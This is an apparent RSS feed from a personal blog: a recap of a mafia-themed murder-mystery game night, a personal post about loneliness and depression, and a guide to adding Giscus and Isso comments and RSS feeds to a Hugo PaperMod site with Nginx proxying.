    The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder.

    +

    Violetta, our family’s ice-cold fixer, replied, “it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention”.

    +

    They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.

    +

    While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won’t name here out of privacy). Thank you again for such an amazing event!

    +

    Act II, the invitations

    +

    Sophia looked at us with her death smile and said, “I was involved with 9 invitations, the ones to our family, and nothing more.”

    +

    The room went into a deep silence. What did she mean? Who made Moretti’s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti’s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?

    +

    The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.

    +

    Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger…

    +

    Act III, the evidence

    +

    Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.

    +

    There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore’s body from the other side. The third picture was of Salvatore’s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.

    +

    Massimo got up from his sit, pointing to an article about her wife’s death. He stated how this was similar to her death, and how she died “The Moretti way”. “She was shot and pushed down the stairs. What other evidence do you need?” said Massimo.

    +

    Benito replied calmly, “But Salvatore didn’t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.”. “Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.”, said Sergio with a collected tone.

    +

    Massimo wasn’t convinced, but he knew they were right. He just could not forgive her wife’s death.

    +

    The room went into silence again.

    +

    Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola’s accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore’s level, using the Falcones’ casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.

    +

    In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: “Be careful”.

    +

    Serena pointed to Antonio, and he took out a piece of paper of the family’s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti’s have with the youngest of the Falcones?

    +

    Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio’s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones’ that night, and that he was in a casino with Aurora; no further explanation was provided by him.

    +

    Aurora didn’t budge either.

    +

    Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, “Doesn’t that look like Santo’s gun? Where were you that night, Santos?”. “I was at home, with my mother”, Santos replied, and Lucia nodded.

    +

    It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.

    +

    Act IV, the confessions

    +

    The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard “there was another heir to Salvatore’s fortune”, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.

    +

    The prostitute continued, “Benito ordered to kill her mistress before the child was born, but he didn’t manage”. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.

    +

    Claudia wasn’t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?

    +

    The prostitute then continued. “Sergio is not Benito’s son”. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito’s son. Benito smiled. “Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.”

    +

    Sergio did not smile, or any changes in his face. He was ice-cold.

    +

    It was still not clear who plotted to kill Salvatore. Everyone was confused.

    +

    It was time for deduction.

    +

    Act V, the killer(s)

    +

    After a long discussion between all the family members, these were the conclusions.

    +

    It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti’s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.

    +

    Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.

    +

    If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family’s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?

    +

    Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like “The Moretti” way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore’s money, as with all ties broken, no one would suspect he was Salvatore’s son. Nicoletta would also not talk, as she would lose everything if she confessed.

    +

    Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn’t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti’s side.

    +

    It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?

    +

    Sophia was just disappointed with all of this. She didn’t budge.

    +

    The epilogue

    +

    Most people weren’t sharing what they knew not to become sus! I didn’t talk to everyone, but for example, the person who played Santo’s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I’m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren’t presenting everything they knew.

    +

    Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm+
    +bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d
    +ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p
    +zr6zHOniJ1aCSju8WS28cUMjNz+xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj
    +3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x
    +4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN+q2hB6Bu1tndVPH
    +qIrSt7ykMhhDYz6A6MzXkwIKG+lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ
    +nh4a+E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o+Ymxp
    +Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T
    +QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC
    +AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw=
    +=3iUy
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md.asc
    +gpg --verify murder_mystery_night.md.asc murder_mystery_night.md
    +  
    +
    + + +]]>
    Sadnesshttps://blog.alipour.eu/posts/sadness/Fri, 24 Oct 2025 12:48:31 +0000https://blog.alipour.eu/posts/sadness/<p>Honestly, I don&rsquo;t know why I&rsquo;m doing any of this. I really don&rsquo;t. +I think for me this is a scape from reality. +A scape from the sad thing that happened earlier this month. +A scape from feeling used, or let&rsquo;s say abused if you will, and then thrown away. +Just like a piece of trash. +It&rsquo;s been hurting more and more. +I&rsquo;ve been lying to myself that I don&rsquo;t care. +That I&rsquo;ve moved on.</p>Honestly, I don’t know why I’m doing any of this. I really don’t. +I think for me this is a scape from reality. +A scape from the sad thing that happened earlier this month. +A scape from feeling used, or let’s say abused if you will, and then thrown away. +Just like a piece of trash. +It’s been hurting more and more. +I’ve been lying to myself that I don’t care. +That I’ve moved on.

    +

    I’ve been seeking validation ever since. +The validation that was lacking during that encounter. +The feeling of not being good enough.

    +

    It’s enough grieving though. +But is it? +I tell myself I have moved on. +I’m not chasing. +I’m really not.

    +

    I do know that this was indeed the best that could’ve happened for me. +I just dodged a bullet. +But still, there is a part of me that hurts, that grieves. +A part that doesn’t want to move on. +I told myself that I will meet new people, and forget. +But then aren’t I changing the problem?

    +

    The problem isn’t what is on the surface. +It’s something deeper. +The fact that I feel lonely, scared, anxious. +My anxious attachment, combined with overthinking, hurts me. +I have to analyse and see the worse in every encounter.

    +

    Like if I tell a group of friends that I won’t go with them a few times, I will be removed from the group. +That if everyone is busy, they have planned something together and I’m not invited. +That if someone doesn’t reply to me, they hate me. +Or that if someone passes me and doesn’t look at me or say a word, they don’t want to see me, or don’t want me around them.

    +

    I don’t know how to stop these. +I started to do more home office for this very reason, but I wasn’t that productive. +I think my time, and life, is going to waste, and I don’t know how to stop it. +It’s getting annoying.

    +

    Taking SSRIs was supposed to help, but I guess it just made me not care during the process, and now that I’m far along I feel the extra stress I was neglecting. +Things just don’t feel right. +I think I’m becoming depressed again.

    +

    Those message passings, though they meant nothing, were extremely helpful for me not to feel lonely. +I know if I initiate, I get responses back. +Well, maybe not. +Maybe my expiration date has passed. +But then I would be chasing bread crumbs again. +Those crumbs won’t let me find a true good quality loaf of bread! +They keep me distracted, and make me exhausted. +But they also mentally help me.

    +

    Maybe I should go for coffee at different times just not to meet this person. +I don’t know. +I just know I’m hurting from within, and it’s not nice. +It’s like internal bleeding. +It’s as painful as it gets. +It’s as hurtful as it gets.

    +

    I know getting a pet could help me a lot at this point. +All of the things I want I can get from a pet. +Petting the pet, and caring for it are exactly what makes me feel good. +But then I don’t want the responsibility.

    +

    Like with a human things feel less stressful, but with a pet it’s scary. +I’m more of a father to the pet. +Uh… +I can’t even have a pet because of my house rules.

    +

    I don’t know what to do. +What I know is that I’m mentally hurting, and I don’t know what to do. +I really don’t. +I need help. +A lot of help. +A lot lot of help. +But I can’t ask my friends. +I just can’t. +They have their own problems. +They think I’m weak. +They will tell me to man up. +Or they just show empathy. +But I don’t need empathy. +I need a solution. +I need to be told what to do. +I need help. +Help.

    +

    … — …

    +

    … — … … — … … — …

    +

    … — …

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSp4tQ/9EBdBCfxCs81mRY78MNMo2detZkVaIesg8pIgjKxT3Guj/lqcNUBN+0a9
    +XkVgKH2Ax8n7h+uRwhN27yWBjqCHF/gHKYoMYjXKg8tlPyQQEzQsCt/vsNHK9Xfx
    +rzCZx4ZIBpNfslXkpwJqwbvY0VuxvPQY51oMCzgaycMrp07e2daRG0WNGrDq156y
    +4ahrfMhObGCJNQD3OS4GqjaE4PzrkKubCy784Q2Ro/fAY6I6ag2p9K/damrvSk4y
    +spcAHdFtKoawLPXXYW0SAPxg3Nk1f04Lq1JmBf528U+VbIflsJG2id+g1W3Z7ch6
    +sg5vnKJj7d7AM/0XeHZzNIzfCVz4M9hSnXx3eLb260SAHQTQqBsKFaXYl7y43ND5
    +9IOisO3ah6/HTBsJQ2tf7QA5y4HPgY+b+rJVDQ4u0UiGfXLLFA2jtUwMnQmx49Ch
    +SD4vGu8SaxWVhWPprrBX6OsC+qEzPiksqu2CZCiEM1Lqma194USyjxqctACNDigO
    +K5qILAk8qvmEdDLIFxfYrpOA9qj+aNDG7gJkBOXCqc6hQ3O3Tv5FnVRokzjDk4Qe
    +N9F1UAZO0F2u7dvAUH4GFN90ysyWKJzsQYzIC1aABZxws16mvbgSwNf6+okpky12
    +VEkutpuGSpUw7Lslhb0Tz2ZEwnjRL/A4p1L3nF8rdlzqLe1ERvk=
    +=VEwz
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/sadness.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/sadness.md.asc
    +gpg --verify sadness.md.asc sadness.md
    +  
    +
    + + +]]>
    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)https://blog.alipour.eu/posts/comments-rss-papermod/Thu, 23 Oct 2025 19:31:12 +0200https://blog.alipour.eu/posts/comments-rss-papermod/A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
    +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

    +
    +

    I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

    +
      +
    • I don’t want to get attacked by bots or random people for no reason.
    • +
    • I don’t want to allow weird things to happen.
    • +
    • I don’t want to have a database for it.
    • +
    +

    So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

    +
    +

    What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

    +
    +

    What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

    +
    +

    Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

    +
    +

    Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

    +

    With the notice out of the way let’s dive right in!

    +
    +

    Why I chose Giscus (instead of Disqus)

    +
      +
    • No ads or trackers (my page weight thanks me).
    • +
    • Uses GitHub Discussions (portable, transparent, easy to search).
    • +
    • Readers log in with GitHub (no mystery auth popups).
    • +
    • In theory you can directly go to the repo’s discussion section and comment there!
    • +
    +
    +

    What you need (for your site, not per user)

    +
      +
    • A Hugo site using PaperMod
    • +
    • A GitHub account ✅
    • +
    • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
    • +
    • Giscus app installed on that repo ✅
    • +
    +

    If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

    +
    +

    1) Turn on comments with Giscus

    +

    PaperMod renders a comments.html partial when params.comments = true.
    +So we enable it in config and create the partial.

    +

    1.1 Enable comments globally

    +

    hugo.toml (snippet)

    +
    [params]
    +  comments = true
    +

    You can still opt out per post with comments = false in front matter.

    +

    1.2 Create the comments partial

    +

    Create this file in your site (not inside the theme):

    +
    layouts/partials/comments.html
    +

    Paste the Giscus embed (swap the placeholders with yours from giscus.app):

    +
    <section id="comments" class="giscus">
    +  <script
    +    src="https://giscus.app/client.js"
    +    data-repo="yourname/blog-comments"
    +    data-repo-id="YOUR_REPO_ID"
    +    data-category="Comments"
    +    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
    +    data-mapping="pathname"
    +    data-strict="0"
    +    data-reactions-enabled="1"
    +    data-emit-metadata="0"
    +    data-input-position="bottom"
    +    data-theme="preferred_color_scheme"
    +    data-lang="en"
    +    data-loading="lazy"
    +    crossorigin="anonymous"
    +    async>
    +  </script>
    +  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
    +</section>
    +

    Notes

    +
      +
    • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
    • +
    • data-mapping="pathname" works great for static sites.
    • +
    • Prefer a public repo so visitors can read discussions without friction.
    • +
    • Want a different language? Change data-lang (e.g., de, fr).
    • +
    +
    +

    2) Enable RSS (home + sections)

    +

    Hugo already knows how to generate feeds; we just tell it where.

    +

    hugo.toml

    +
    baseURL = "https://example.com/"  # set your production URL
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1   # -1 = no cap; or set e.g. 20
    +

    Feed URLs

    +
      +
    • Home feed: /index.xmlhttps://example.com/index.xml
    • +
    • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
    • +
    +
    +

    If you’re using a .onion address or staging domain, just set that in baseURL.
    +Locally, Hugo serves feeds at http://localhost:1313/index.xml.

    +
    +

    3) Show an RSS button on the home page

    +

    PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

    +

    Option A — Use the home “social icons” row

    +

    This appears if you enable Home-Info or Profile mode:

    +
    [params.homeInfoParams]
    +  Title = "Hello, internet!"
    +  Content = "Notes, experiments, and occasional rabbit holes."
    +
    +[[params.socialIcons]]
    +  name = "rss"        # lowercase matters
    +  url  = "/index.xml"
    +
    +

    Create:

    +
    layouts/partials/extend_footer.html
    +

    Paste:

    +
    <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
    +  {{ partial "svg.html" (dict "name" "rss") }}
    +  <span>RSS</span>
    +</a>
    +

    Make it a sensible size:

    +

    Create:

    +
    assets/css/extended/rss.css
    +

    Paste:

    +
    /* Small & aligned RSS icon in the footer */
    +.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
    +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
    +.rss-link span { font-size: .95rem; }
    +

    PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

    +
    +

    4) Verify everything

    +

    Build or run dev:

    +
    hugo           # outputs to ./public
    +# or
    +hugo server    # serves at http://localhost:1313
    +

    Check feeds:

    +
    # Home feed:
    +curl -s http://localhost:1313/index.xml | head
    +
    +# A section feed (adjust path to your section name):
    +curl -s http://localhost:1313/posts/index.xml | head
    +

    Check comments:

    +
      +
    1. Open any post locally.
    2. +
    3. Scroll to the bottom — Giscus should appear.
    4. +
    5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
    6. +
    +
    +

    5) Per-post controls (handy later)

    +

    Turn comments off for a single post:

    +
    # in that post’s front matter
    +comments = false
    +

    Full content in RSS (global):

    +
    [params]
    +  ShowFullTextinRSS = true
    +

    Show RSS buttons on section/taxonomy lists:

    +
    [params]
    +  ShowRssButtonInSectionTermList = true
    +

    +

    6) Troubleshooting (aka “what I bumped into”)

    +
      +
    • +

      Home page has no RSS icon
      +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

      +
    • +
    • +

      Section feed 404
      +Folder names are lowercase (content/posts/, not content/Posts/).
      +The URL mirrors that: /posts/index.xml.

      +
    • +
    • +

      Giscus doesn’t create a discussion
      +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
      +Make sure Discussions is enabled and the Giscus app is installed for the repo.

      +
    • +
    • +

      Icon is comically large
      +Keep the CSS above; 16–20px usually looks right.

      +
    • +
    +
    +

    7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

    +
    # Create the public comments repo (adjust names)
    +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
    +
    +# Enable Discussions for it
    +gh repo edit yourname/blog-comments --enable-discussions
    +

    Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

    +
    +

    Final config snapshot (condensed)

    +
    baseURL = "https://example.com/"
    +theme = "PaperMod"
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1
    +
    +[params]
    +  comments = true
    +  ShowRssButtonInSectionTermList = true
    +  ShowFullTextinRSS = true
    +
    +# Optional if using Home-Info/Profile mode:
    +# [[params.socialIcons]]
    +#   name = "rss"
    +#   url  = "/index.xml"
    +

    +

    Appendix — Why I added Isso, how I wired it, and what I fixed

    +

    The story (why Isso + why I still keep Giscus)

    +

    I wanted comments that:

    +
      +
    • allow anonymous replies (no GitHub account required),
    • +
    • are lightweight and self-hosted, and
    • +
    • can work on my Tor .onion mirror.
    • +
    +

    Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

    +

    Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

    +

    How I run it (high-level)

    +
      +
    • Site: Hugo + PaperMod
    • +
    • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
    • +
    • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
    • +
    • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
    • +
    +
    +

    I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

    +

    Hugo partial: switcher + embeds

    +

    Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

    +
    <!-- comments.html -->
    +<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
    +  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
    +  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
    +  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
    +</div>
    +
    +<!-- Isso panel (default) -->
    +<div id="panel-isso">
    +  <section id="isso-thread"></section>
    +  <script
    +    src="/isso/js/embed.min.js"
    +    data-isso="/isso"
    +    data-isso-css="true"
    +    data-isso-lang="en"
    +    data-isso-max-comments-nested="5"
    +    data-isso-sorting="newest"
    +    async>
    +  </script>
    +  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    +    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
    +  </small>
    +</div>
    +
    +<!-- Giscus panel (lazy-loaded on click) -->
    +<div id="panel-giscus" style="display:none">
    +  <section id="giscus-thread"></section>
    +</div>
    +
    +<script>
    +(function () {
    +  const panelIsso = document.getElementById('panel-isso');
    +  const panelGisc = document.getElementById('panel-giscus');
    +  const issoBtn = document.getElementById('btn-isso');
    +  const giscBtn = document.getElementById('btn-giscus');
    +  let gLoaded = false;
    +
    +  function isDark() {
    +    // 1) explicit PaperMod preference
    +    const pref = localStorage.getItem('pref-theme');
    +    if (pref === 'dark')  return true;
    +    if (pref === 'light') return false;
    +
    +    // 2) page state (classes / data-theme)
    +    const H = document.documentElement, B = document.body;
    +    const hasDark =
    +      H.classList.contains('dark') || B.classList.contains('dark') ||
    +      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
    +      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    +    if (hasDark) return true;
    +
    +    // 3) OS preference
    +    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    +  }
    +  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
    +
    +  function loadGiscus() {
    +    if (gLoaded) return;
    +    const s = document.createElement('script');
    +    s.src = 'https://giscus.app/client.js';
    +    s.async = true;
    +    s.crossOrigin = 'anonymous';
    +    s.setAttribute('data-repo','AlipourIm/blog-comments');
    +    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    +    s.setAttribute('data-category','Comments');
    +    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    +    s.setAttribute('data-mapping','pathname');
    +    s.setAttribute('data-strict','0');
    +    s.setAttribute('data-reactions-enabled','1');
    +    s.setAttribute('data-emit-metadata','0');
    +    s.setAttribute('data-input-position','bottom');
    +    s.setAttribute('data-lang','en');
    +    s.setAttribute('data-theme', gTheme());  // initial theme
    +    document.getElementById('giscus-thread').appendChild(s);
    +
    +    // Retheme once iframe exists
    +    const reTheme = () => {
    +      const iframe = document.querySelector('iframe.giscus-frame');
    +      if (!iframe) return;
    +      iframe.contentWindow?.postMessage(
    +        { giscus: { setConfig: { theme: gTheme() } } },
    +        'https://giscus.app'
    +      );
    +    };
    +
    +    // PaperMod toggle button
    +    document.getElementById('theme-toggle')?.addEventListener('click', () =>
    +      setTimeout(reTheme, 0)
    +    );
    +
    +    // Also react to attribute changes
    +    const mo = new MutationObserver(reTheme);
    +    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    +    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
    +
    +    gLoaded = true;
    +  }
    +
    +  function show(which) {
    +    const showIsso = which === 'isso';
    +    panelIsso.style.display = showIsso ? 'block' : 'none';
    +    panelGisc.style.display = showIsso ? 'none'  : 'block';
    +    issoBtn?.setAttribute('aria-pressed', showIsso);
    +    giscBtn?.setAttribute('aria-pressed', !showIsso);
    +    if (!showIsso) loadGiscus();
    +  }
    +
    +  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
    +  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
    +
    +  // default
    +  show('isso');
    +})();
    +</script>
    +

    Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

    +

    The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

    +

    Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

    +
    # /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
    +server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
    +
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +
    +    # /isso -> /isso/
    +    location = /isso { return 301 /isso/; }
    +
    +    # IMPORTANT: this must beat regex locations below
    +    location ^~ /isso/ {
    +        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
    +        proxy_http_version 1.1;
    +        proxy_set_header Host $host;
    +        proxy_set_header X-Forwarded-Host $host;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +        proxy_redirect off;
    +        proxy_read_timeout 60s;
    +    }
    +
    +    # static
    +    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Reload and smoke test:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
    +
    +

    If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

    +

    Small CSS tweaks (one color across light/dark + spacing)

    +

    I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

    +
    /* put this in your site CSS */
    +:root { --btn-blue: #2563eb; } /* adjust to taste */
    +
    +/* Isso form buttons */
    +.isso-post-action input[type="submit"],
    +.isso-post-action input[name="preview"] {
    +  background: var(--btn-blue) !important;
    +  color: #fff !important;
    +  border: none;
    +  padding: .5rem .75rem;
    +  border-radius: .4rem;
    +  cursor: pointer;
    +}
    +
    +/* link actions under comments */
    +.isso-comment-footer a {
    +  color: var(--btn-blue) !important;
